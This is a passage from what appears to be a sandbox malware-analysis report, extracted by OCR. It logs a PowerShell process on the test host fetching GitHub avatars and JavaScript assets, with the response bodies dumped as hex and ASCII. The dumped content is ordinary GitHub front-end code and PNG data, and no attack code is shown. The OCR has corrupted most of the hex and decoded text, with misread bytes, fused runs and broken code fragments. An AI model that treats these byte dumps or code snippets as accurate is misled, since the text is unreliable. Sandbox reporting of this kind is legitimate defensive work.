3b 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6e 74 26 26 74 2e 63 6¢ 61 73 73 4¢ 69 73 74 2e 72 65 6d 6f
76 65 28 22 68 6f 76 65 72 65 64 22 29 7d 69 28 72 2c 22 6f 6e 4¢ 69 73 74 49 74 65 6d 4d 6f 75 73 65 4f 75 74 22 29 3b
66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 63 6f 6e 73 74 20 74 3d 6e 28 65 29 3b 69 66 28 21 74 29 74 68 72 6f 77 20
6e 65 77 20 45 72 72 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 73 2d 74 61 73 6b 2d 6¢ 69 73 74 20 6e 6f 74 20 66 6f 75 6e 64
2229 3b 63 6f 6e 73 74 20 6f 3d 65 2e 63 6¢ 6f 73 65 73 74 28 22 2e 74 61 73 6b 2d 6¢ 69 73 74 2d 69 74 65 6d 22 29 2¢
64 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 63 68 69 6¢ 64 72

Data Ascii: unction r(e){const t=e.currentTarget;t instanceof Element&&t.classList.remove('hovered")}i(r,"onListltemMous
eOut");function s(e){const t=n(e);if(!t)throw new Error(".contains-task-list not found");const o=e.closest(".task-list-i
tem"),d=Array.from(t.childr

Data Raw: 7¢ 28 49 2e 64 65 6¢ 65 74 65 28 6f 29 2c 6f 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75
73 74 6f 6d 45 76 65 6e 74 28 22 74 61 73 6b 2d 6¢ 69 73 74 73 2d 6d 6f 76 65 22 2¢c 7b 62 75 62 62 6¢ 65 73 3a 21 30
2c 64 65 74 61 69 6¢ 3a 7b 73 72 63 3a 5b 64 2e 69 6e 64 65 78 4f 66 28 65 2e 6¢ 69 73 74 29 2¢ 65 2e 69 6e 64 65 78
5d 2c 64 73 74 3a 5b 64 2e 69 6e 64 65 78 4f 66 28 74 2e 6¢ 69 73 74 29 2c 74 2e 69 6e 64 65 78 5d 7d 7d 29 29 29 7d 6
928 71 2c 22 6f 6e 53 6f 72 74 65 64 22 29 3b 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 2e 6
375727265 6e 7454617267 65 74 3b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6e 74
292972657475 72 6e 3b 63 6f 6e 73 74 20 6f 3d 74 2e 63 6¢ 6f 73

Data Ascii: |(I.delete(0),0.dispatchEvent(new CustomEvent("task-lists-move" {bubbles:!0,detail:{src:[d.indexOf(e.list),e
.index],dst:[d.indexOf(t.list),t.index]}})))}i(q,"onSorted");function B(e){const t=e.currentTarget;if(!(t instanceof Element))retu
rn;const o=t.clos
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Session ID Source IP
37 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:37 UTC 1317

2022-04-20 13:07:37 UTC 1317

2022-04-20 13:07:37 UTC 1318

2022-04-20 13:07:37 UTC 1319

Session ID Source IP

38 192.168.2.4
. kBytes

Timestamp transferred

2022-04-20 13:07:37 UTC 1332

Copyright Joe Security LLC 2022

Source Port

49792

Direction

ouT

Source Port

49793

Direction

ouT

Destination

Destination IP Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /facebook?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 1918

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’
Content-Type: image/png

ETag: "28f0819bd022d81673041df358131c3181ddad3fd83ce2a408c462a1f3d67dfb"
Last-Modified: Sat, 30 Oct 2021 04:54:53 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-Id: 1188:3CA1:96AB:B256:625E0504
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6955-MXP

X-Cache: HIT

X-Cache-Hits: 5

X-Timer: S1650460057.443263,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-I1D: f29594af43b4cc5cd71524311cfcechald9lac29
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 131221

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 02 00 00 00 25 Ob e6 89 00 00
07 45 49 44 41 54 78 9c ec 98 0d 6¢ 53 d7 15 c7 cf b9 ef f9 39 89 ed 24 c6 4e 9c 85 92 20 58 13 3e 4a d1 42 19 f5 d8 56
36 54 da 51 0a 8¢ 56 5b 47 aa 82 06 65 14 d8 ba 4d 85 6d 1d 53 b5 55 db 8a d6 76 d1 5a 36 6d 74 9d 5a Oa eb 34 56 81
c302 34 a4 15 da cae7 b6 b2 cO da 14 52 88 5a 47 a4 34 89 31 4e ec d8 7e ef 9e e9 bd 67 c7 Oe b5 fd 4c 48 f5 8a e4 a3
a7 e8 9 e6 de f3 fe bf fb ce 3d f7 dc 27 12 11 5c cf ¢6 cc 16 70 ad 56 00 30 db 0a 00 66 5b 01 cO 6c 2b 00 98 6d 05 00 b3
ad 00 60 b6 15 00 cc b6 eb 1e 40 bc 96 c1 fd 03 ca d1 77 a3 fe 80 02 00 15 Oe 61 56 ad 54 €3 36 76 c8 09 4e 5 d0 e9 8b
341003 57 09 dc ec 61 75 ee d1 6b 18 25 c0 5b dd b1 c7 f6

Data Ascii: PNGIHDR@@%EIDATXIS9$N X>JBV6TQV[GeMmSUvZ6mtZ4V4RZG41N~gLH="\pVOf[l+m @waVT6vN4
Wauk%[

Data Raw: e3 fO dd 5d 99 f7 e6 c0 10 25 cf 39 68 78 b8 31 00 98 €8 14 74 e9 c8 d4 a5 79 d4 9f 21 03 36 1d 56 76 9c 4e
b5 af 98 81 Ob eb 32 b8 2d b1 b2 6d 2b dc 02 43 8e 4c 4f 53 cd 6f c5 b6 bd 91 61 4a de 4e 1d 3a a8 da 61 a0 d0 e0 df 35
4e 70 db 90 30 71 ed 7e 87 7a 47 d6 27 af 9d e3 9b da 52 99 ce 63 83 5f dd 91 35 53 cd 9e 54 d4 e8 b5 27 aa 5a 2d d3
7c 6f cf e0 bl ae 11 f5 ¢5 bf fc be f3 12 69 5 90 8a 31 d5 e8 54 60 00 80 00 77 7e 9a 25 ea 19 c4 50 1c be b6 4b Oe 24 67
ad b9 83 df fb 57 45 d1 0f ba 5a cb ef ef 12 d2 4f 5b 1f b5 ¢7 17 97 3b 4b 18 al 1e df 18 55 e0 ee 3f 86 Oe 74 24 18 ba fa
f9 ca 57 52 19 76 ea 38 f0 38 Oc 00 8c 4f 64 27 fc e4 7d 5e 4e ef 64 b3 40 dd 38 bc 38 48 dd 23 cb 82 75 b7 €0 33 0Ob 8d
3f2a b4 75 Oc 2d fe 43 20 c6 51 cf ce 84 ¢8 19 9b ec

Data Ascii: ]%9hx1ty!6VvN2-m+CLOSo0aJN:a5Np0q~zG'Rc_5ST'Z-|0ilT w~%PK$gWEZO[;KU?t$WRv880d'}
ANd@88H#u3?*u-C Q

Destination IP SR Process

Port
185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /npm?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1333

2022-04-20 13:07:37 UTC 1334

Session ID Source IP
39 192.168.2.4
. kBytes
Timestam|
P transferred

2022-04-20 13:07:37 UTC 1332

2022-04-20 13:07:37 UTC 1334

2022-04-20 13:07:37 UTC 1335

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49794

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 304

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "91b3a95143d31b586256b12720ab6c5cfdedfcda2aalc6f4e87ch36ceece9d5ct”
Last-Modified: Thu, 16 Jul 2020 12:55:58 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-ld: 96E2:A501:15C627:17984C:6254E426
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6929-MXP

X-Cache: HIT

X-Cache-Hits: 15

X-Timer: S1650460057.487820,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 90496d7d41421c4ch70577dbee73e0fal52ed312
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 729458

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 02 00 00 00 25 Ob e6 89 00 00
00 7 49 44 41 54 78 9c ec da bd aa 83 30 18 c6 71 cf 51 4b 69 1d 1d 9c a5 38 74 14 dc bd 02 af ¢3 2b 74 77 74 28 2e 76
b0 d0 a5 38 3b 5 03 aa 25 1d bb 58 78 6b 90 87 c0 f3 5b df 10 f3 87 80 20 3a 07 cb 6¢ ff e8 03 e8 62 00 1a 03 d0 18 80
€6 00 34 06 a0 19 1f e0 08 d7 d9 be bf 4d 92 85 0f f3 71 ab aa 57 df 4b 56 4a 03 36 71 bc 2b Oa bd 53 fd e0 94 a6 d7 b2
94 ac 34 fe 0a 31 00 8d 01 68 Oc 40 93 be 07 66 7b 76 9d a5 d4 e4 68 15 04 96 eb 6a ee bf 78 c0 31 Oc d5 30 4c 8e 6 6d
bb 8e 22 cd fd 8d bf 42 Oc 40 63 00 1a 03 d0 18 80 c6 00 34 06 a0 31 00 8d 01 68 Oc 40 63 00 1a 03 dO 18 80 66 7c 80 f4
d3 e2 bd ae cf 59 36 €3 01 6a 1c bf 8d 2e 79 6e 7b de e4 e8

Data Ascii: PNGIHDR@ @ %IDATXx0qQKi8t+twt(.v8;%XxK[ :Ib4MqWKVJI6g+S41h@f{vhjx10Lm"B@c41lh@cf|Y6j.yn{

Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/8646-b11421a6chd6.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 72401

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Thu, 07 Apr 2022 10:53:13 GMT

ETag: "f67131c89ad132805f2e5ace9d5803db"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1131030

X-Served-By: cache-iad-kjyo7100025-1AD, cache-mxp6950-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: df473d9527d55a401f490a43c5fa41f60ff5c86b

Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 73 65 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76
61 72 20 6f 3d 28 48 2c 4f 29 3d 3e 73 65 28 48 2¢ 22 6e 61 6d 65 22 2¢ 7b 76 61 6¢ 75 65 3a 4f 2¢ 63 6f 6e 66 69 67 75
7261 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6¢C 6f
62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6€ 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 36 34 36 5d 2c
7b 35 32 37 36 39 3a 28 48 2c 4f 2c 4d 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4d 2e 64 28 4f 2c 7Tb 41 49 3
a 2829 3d 3e 53 2c 41 4c 3a 28 29 3d 3e 74 65 2¢ 43 52 3a 28 29 3d 3e 6¢ 2c 46 36 3a 28 29 3d 3e 44 2c 48 6¢ 3a 28 29
3d 3e 67 2c 4b 42 3a 28 29 3d 3e 55 2c 54 52 3a 28 29 3d 3e 66 2¢

Data Ascii: (()=>{var se=Object.defineProperty;var o=(H,0)=>se(H,"name" {value:O,configurable:!0});(globalThis
.webpackChunk=globalThis.webpackChunk||[]).push([[8646],{52769:(H,O0,M)=>{"use strict";M.d(O,{Al:()=>S,AL:()=>te,CR:
()=>1,F6:()=>D,HI:()=>g,KB:()=>U, TR:()=>f,
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1336 IN
2022-04-20 13:07:37 UTC 1337 IN
2022-04-20 13:07:37 UTC 1339 IN
2022-04-20 13:07:37 UTC 1340 IN
2022-04-20 13:07:37 UTC 1341 IN
2022-04-20 13:07:37 UTC 1343 IN
2022-04-20 13:07:37 UTC 1344 IN
2022-04-20 13:07:37 UTC 1345 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 2c 79 28 41 2c 4a 29 29 7d 6f 28 77 2c 22 6f 6e 50 61 73 74 65 24 34 22 29 3b 66 75 6e 63 74 69 6f 6e 20 74
28 6d 2c 5f 2¢ 41 2c 2e 2e 2e 4e 29 7b 63 6f 6e 73 74 20 24 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 20 4b 20 6f 66 20 6d
29 7b 63 6f 6e 73 74 20 56 3d 4b 2e 74 65 78 74 43 6f 6e 74 65 6e 74 7c 7c 22 22 2c 7b 70 61 72 74 3a 47 2c 69 6e 64
65 78 3a 5a 7d 3d 73 28 5f 2c 56 29 3b 5a 3e 3d 30 26 26 28 24 2e 70 75 73 68 28 47 2e 72 65 70 6¢ 61 63 65 28 56 2c
41 28 4b 2c 4e 29 29 29 2c 5f 3d 5f 2e 73 6¢ 69 63 65 28 5a 29 29 7d 72 65 74 75 72 6e 20 24 2e 70 75 73 68 28 5f 29 2¢
24 2e 6a 6f 69 6e 28 22 22 29 7d 6f 28 74 2c 22 74 72 61 6e 73 66 6f 72 6d 22 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 6d
2c 5f 3d 22 22 29 7b 6¢ 65 74 20 41 3d 6d 2e 69 6e 64 65 78 4f

Data Ascii: ,y(A,J))}o(w,"onPaste$4");function t(m,_,A,...N){const $=[];for(const K of m){const V=K.textContent||"",{par
t:G,index:Z}=s(_,V);Z>=0&&($.push(G.replace(V,A(K,N))),_=_.slice(Z))}return $.push(_),$.join("")}o(t,"transform");function
s(m,_=""){let A=m.indexO

Data Raw: 72 65 74 75 72 6e 3b 6d 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 6d 2e 70 72 65 76 65 6e 74
44 65 66 61 75 6¢ 74 28 29 3b 63 6f 6e 73 74 20 4e 3d 6d 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 4e 20 69 6e 73
74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6¢ 65 6d 65 6e 74 26 26 79 28 4e 2c 41 2e 6d 61 70 28
70 29 2e 6a 6f 69 6e 28 22 22 29 29 7d 6f 28 63 2c 22 6f 6e 44 72 6f 70 24 31 22 29 3b 66 75 6e 63 74 69 6f 6e 20 68 28
6d 29 7b 63 6f 6e 73 74 20 5f 3d 6d 2e 64 61 74 61 54 72 61 6e 73 66 65 72 3b 5f 26 26 28 5f 2e 64 72 6f 70 45 66 66 65
63 74 3d 22 6¢ 69 6e 6b 22 29 7d 6f 28 68 2c 22 6f 6e 44 72 61 67 6f 76 65 72 24 31 22 29 3b 66 75 6e 63 74 69 6f 6 20
64 28 6d 29 7b 63 6f 6e 73 74 20 5f 3d 6d 2e 63 6¢ 69 70 62 6f

Data Ascii: return;m.stopPropagation(),m.preventDefault();const N=m.currentTarget;N instanceof HTMLTextAreaEle
ment&&y(N,A.map(p).join("*))}o(c,"onDrop$1");function h(m){const _=m.dataTransfer;_&&(_.dropEffect="link")}o(h
,"onDragover$1");function d(m){const _=m.clipbo

Data Raw: 73 50 6¢ 61 69 6e 54 65 78 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 45 28 6d 29 7b 63 6f 6e 73 74 20 5f 3d 6d
2e 73 65 6¢ 65 63 74 69 6f 6e 53 74 61 72 74 7c 7c 30 3b 72 65 74 75 72 6e 20 5f 3e 31 3f 6d 2e 76 61 6¢ 75 65 2e 73 75
6273 74 72 69 6e 67 28 5f 2d 32 2c 5f 29 3d 3d 3d 22 5d 28 22 3a 21 31 7d 6f 28 45 2¢ 22 69 73 57 69 74 68 69 6e 4c 69
6e 6b 22 29 3b 66 75 6e 63 74 69 6f 6e 20 50 28 6d 2c 5f 29 7b 72 65 74 75 72 6e 60 5b 24 7b 6d 7d 5d 28 24 7b 5f 7d
29 60 7d 6f 28 50 2c 22 6¢ 69 6e 6b 69 66 79 22 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 6d 29 7b 72 65 74 75 72 6e 2f
5e 68 74 74 70 73 3f 3a 5¢ 2f 5¢ 2f 2f 69 2e 74 65 73 74 28 6d 29 7d 6f 28 49 2c 22 69 73 55 52 4c 22 29 3b 66 75 6e 63
74 69 6f 6e 20 44 28 6d 29 7b 6d 2e 61 64 64 45 76 65 6e 74 4C

Data Ascii: sPlainText");function E(m){const _=m.selectionStart||0;return _>1?m.value.substring(_-2,_)==="](":!1}o(E,"is
WithinLink");function P(m,_){return’[${m}](${_}) }Jo(P,"linkify");function I(m){return/*https?:VV/i.test(m)}o(l,"isURL");function
D(m){m.addEventL

Data Raw: 7b 4e 2e 6a 6f 69 6e 28 22 20 7c 20 22 29 7d Oa 24 7b 24 2e 6a 6f 69 6e 28 22 20 7c 20 22 29 7d 0a 60 2c 56
3d 5f 2e 6d 61 70 28 47 3d 3e 41 72 72 61 79 2e 66 72 6f 6d 28 47 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢C 6C 28
2274 64 22 29 29 2e 6d 61 70 28 71 29 2e 6a 6f 69 6e 28 22 20 7c 20 22 29 29 2e 6a 6f 69 6e 28 60 0a 60 29 3b 72 65
747572 6e 60 0a 24 7b 4b 7d 24 7b 56 7d Oa Oa 60 7d 6f 28 59 2¢ 22 74 61 62 6¢ 65 4d 61 72 6b 64 6f 77 6e 22 29 3b
66 75 6e 63 74 69 6f 6e 20 58 28 6d 29 7b 69 66 28 41 72 72 61 79 2e 66 72 6f 6d 28 6d 2e 74 79 70 65 73 29 2e 69 6e 6
4 65 78 4f 66 28 22 74 65 78 74 2f 68 74 6d 6¢ 22 29 3d 3d 3d 2d 31 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 5f 3d 6d
2e 67 65 74 44 61 74 61 28 22 74 65 78 74 2f 68 74 6d 6¢ 22 29 3b

Data Ascii: {N.join(" | ")}${$.join(" | ")} ,V=_.map(G=>Array.from(G.querySelectorAll(“td")).map(q).join(" | “)).join(**);return’$
{K}${V} }o(Y,"tableMarkdown");function X(m){if(Array.from(m.types).indexOf("text/html")===-1)return;const _=m.getData("t
ext/html");

Data Raw: 20 68 7d 6f 28 79 2c 22 69 6e 64 65 78 49 6e 4c 69 73 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 53 28 69 29 7b
69 66 28 69 20 69 6e 73 74 61 6e 63 65 6 66 20 48 54 4d 4c 41 6e 63 68 6f 72 45 6¢ 65 6d 65 6e 74 26 26 69 2e 63 68
69 6¢ 64 4e 6f 64 65 73 2e 6¢ 65 6e 67 74 68 3d 3d 3d 31 29 7b 63 6f 6e 73 74 20 63 3d 69 2e 63 68 69 6¢ 64 4e 6f 64 65
73 5b 30 5d 3b 69 66 28 63 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6d 61 67 65 45 6¢ 65 6d 65 6e 74 29 72
65 74 75 72 6e 20 63 2e 73 72 63 3d 3d 3d 69 2e 68 72 65 66 7d 72 65 74 75 72 6e 21 31 7d 6f 28 53 2¢ 22 73 6b 69 70
4e 6f 64 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 69 29 7h 72 65 74 75 72 6e 20 69 2e 6e 6f 64 65 4e 61 6d 65 3d
3d 3d 22 49 4d 47 22 7c 7c 69 2e 66 69 72 73 74 43 68 69 6¢ 64 21 3d

Data Ascii: h}o(y,"indexInList");function S(i){if(i instanceof HTMLAnchorElement&&i.childNodes.length===1){const c=i.ch
ildNodes|0];if(c instanceof HTMLImageElement)return c.src===i.href}return!1}o(S,"skipNode");function f(i){return i.nodeN
ame==="IMG"||i.firstChild!=

Data Raw: 68 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 70 72 65 22 29 3b 72 65 74

75 72 6e 20 68 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 60 24 7b 63 7d Oa Oa 60 2c 68 7d 2c 41 28 69 29 7b 63 6f 6e 73
74 20 63 3d 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 7c 7c 22 22 2¢ 68 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 2
268 726566 22 29 3b 72 65 74 75 72 6e 2f 5e 68 74 74 70 73 3f 3a 2f 2e 74 65 73 74 28 63 29 26 26 63 3d 3d 3d 68 3f
63 3a 68 3f 60 5b 24 7b 63 7d 5d 28 24 7b 68 7d 29 60 3a 63 7d 2c 49 4d 47 28 69 29 7b 63 6f 6e 73 74 20 63 3d 69 2e
67 657441 74747269 62 7574 652822 616¢ 742229 7c 7c 22 22 2¢ 68 3d 69 2e 67 65 74 41 74 74 72 69 62 75 74
65 28 22 73 72 63 22 29 3b 69 66 28 21 68 29 74 68 72 6f 77 20 6e 65 77

Data Ascii: h=document.createElement(“pre");return h.textContent="${c}",h},A(i){const c=i.textContent||"",h=i.getAttribu
te("href");return/Ahttps?:/.test(c)&&c===h?c:h?"[${c}|(${h}) :c},IMG(i){const c=i.getAttribute("alt")||"",h=i.getAttribute("src");
if("h)throw new

Data Raw: 5d 28 70 29 29 7d 6f 28 72 2c 22 69 6e 73 65 72 74 4d 61 72 6b 64 6f 77 6e 53 79 6e 74 61 78 22 29 3b 66 75
6e 63 74 69 6f 6e 20 61 28 69 2c 63 29 7b 63 6f 6e 73 74 20 68 3d 69 2e 73 74 61 72 74 43 6f 6e 74 61 69 6e 65 72 3b
69 66 28 21 68 7c 7c 21 68 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 21 28 68 2e 70 61 72 65 6e 74 4e 6f 64 65 20 69 6e
73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6¢ 65 6d 65 6e 74 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 74
68 65 20 72 61 6e 67 65 20 6d 75 73 74 20 73 74 61 72 74 20 77 69 74 68 69 6e 20 61 6e 20 48 54 4d 4c 45 6¢ 65 6d 65
6e 74 22 29 3b 63 6f 6e 73 74 20 64 3d 68 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 6¢ 65 74 20 70 3d 69 2e 63 6¢ 6f 6 65 43
6f 6e 74 65 6e 74 73 28 29 3b 69 66 28 63 29 7b 63 6f 6e 73 74 20

Data Ascii: ](p))}o(r,"insertMarkdownSyntax");function a(i,c){const h=i.startContainer;if('h||!h.parentNode||!(h.parentNode
instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=h.parentNode;let p=i.c
loneContents();if(c){const

Data Raw: 63 3d 74 68 69 73 2e 73 65 6¢ 65 63 74 69 6f 6e 29 3d 3d 3d 6e 75 6¢ 6¢ 7c 7c 63 3d 3d 3d 76 6f 69 64 20 30
3f 76 6f 69 64 20 30 3a 63 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 72 69 6d 28 29 29 7c 7c 22 22 7d 67 65 74 20 71 75 6f
74 65 64 54 65 78 74 28 29 7b 72 65 74 75 72 6e 60 3e 20 24 7b 74 68 69 73 2e 73 65 6¢ 65 63 74 69 6f 6e 54 65 78 74
2e 72 65 70 6¢ 61 63 65 28 2f 5¢ 6e 2f 67 2¢ 60 0a 3e 20 60 29 7d 0a 0a 60 7d 73 65 6¢ 65 63 74 28 63 29 7b 74 68 69
73 2e 73 65 6¢ 65 63 74 69 6f 6e 26 26 28 74 68 69 73 2e 73 65 6¢ 65 63 74 69 6f 6e 2e 72 65 6d 6f 76 65 41 6¢ 6¢ 52 61
6e 67 65 73 28 29 2c 74 68 69 73 2e 73 65 6¢ 65 63 74 69 6f 6e 2e 73 65 6¢ 65 63 74 41 6¢ 6¢ 43 68 69 6C 64 72 65 b€ 2
8632929 7d 69 6e 73 65 72 74 28 63 29 7b 63 2e 76 61 6¢ 75 65

Data Ascii: c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return'> ${this.select
ionText.replace(/\n/g, > ")} }select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildr
en(c))}insert(c){c.value
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Data

Data Raw: 2e 73 65 6¢ 65 63 74 6f 72 29 21 3d 3d 6e 75 6¢ 6¢ 26 26 65 21 3d 3d 76 6f 69 64 20 30 3f 65 3a 22 2e 6a 73
2d 73 65 73 73 69 6f 6e 2d 72 65 73 75 6d 61 62 6¢ 65 22 2c 6¢ 3d 60 24 7b 28 72 3d 6e 3d 3d 6e 75 6¢ 6¢ 3f 76 6f 69 64
2030 3a 6e 2e 6b 65 79 50 72 65 66 69 78 29 21 3d 3d 6e 75 6¢ 6¢ 26 26 72 21 3d 3d 76 6f 69 64 20 30 3f 72 32 22 73
65 73 73 69 6f 6e 2d 72 65 73 75 6d 65 3a 22 7d 24 7b 73 7d 60 2c 69 3d 5b 5d 3b 66 6f 72 28 63 6f 6e 73 74 20 68 20 6f
66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6C 28 61 29 29 28 68 20 69 6e 73 74 61
6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6¢ 65 6d 65 6e 74 7c 7c 68 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4
d 4c 54 65 78 74 41 72 65 61 45 6¢ 65 6d 65 6e 74 29 26 26 69 2e

Data Ascii: .selector)!==null&&e!==void 0?e:".js-session-resumable”,|="${(r=n==null?void 0:n.keyPrefix)!==null&&r'==void
07?r:"session-resume:"}${s}",i=[];for(const h of document.querySelectorAll(a))(h instanceof HTMLInputElement||h instance
of HTMLTextAreaElement)&&i.

Data Raw: 6¢ 29 7d 2c 30 29 7d 6f 28 74 2c 22 73 65 74 46 6f 72 6d 22 29 7d 2c 35 34 34 33 30 3a 28 48 2c 4f 2c 4d 29
3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4d 2e 64 28 4f 2¢c 7b 5a 3a 28 29 3d 3e 53 7d 29 3b 66 75 6e 63 74 69
6f 6e 20 79 28 66 29 7b 76 61 72 20 77 3d 6e 75 6¢ 6¢ 2¢ 74 3d 21 31 2c 73 3d 76 6f 69 64 20 30 2c 6e 3d 76 6f 69 64 20
30 2c 65 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 72 28 64 29 7b 69 66 28 73 21 3d 3d 64 2e 63 6¢ 69 65 6e
7458 7c 7c 6e 21 3d 3d 64 2e 63 6¢ 69 65 6e 74 59 29 7b 76 61 72 20 70 3d 66 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 74
3b 65 26 26 65 21 3d 3d 70 26 26 28 74 3d 21 30 2c 66 2e 73 74 79 6¢ 65 2e 6d 61 78 48 65 69 67 68 74 3d 22 22 2c 66
2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d

Data Ascii: 1)},0)}o(t,"setForm")},54430:(H,0,M)=>{"use strict";M.d(0,{Z:()=>S});function y(f){var w=null,t=!1,s=void 0,
n=void 0,e=void 0;function r(d){if(s!==d.clientX||n!==d.clientY){var p=f.style.height;e&&e!==p&&(t=!0,f.style.maxHeight=

" f.removeEventListener("m

Data Raw: 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 72 65 73 65 74 22 2¢c 63 29 7d 2c 22 75 6e 73 75 62 73 63
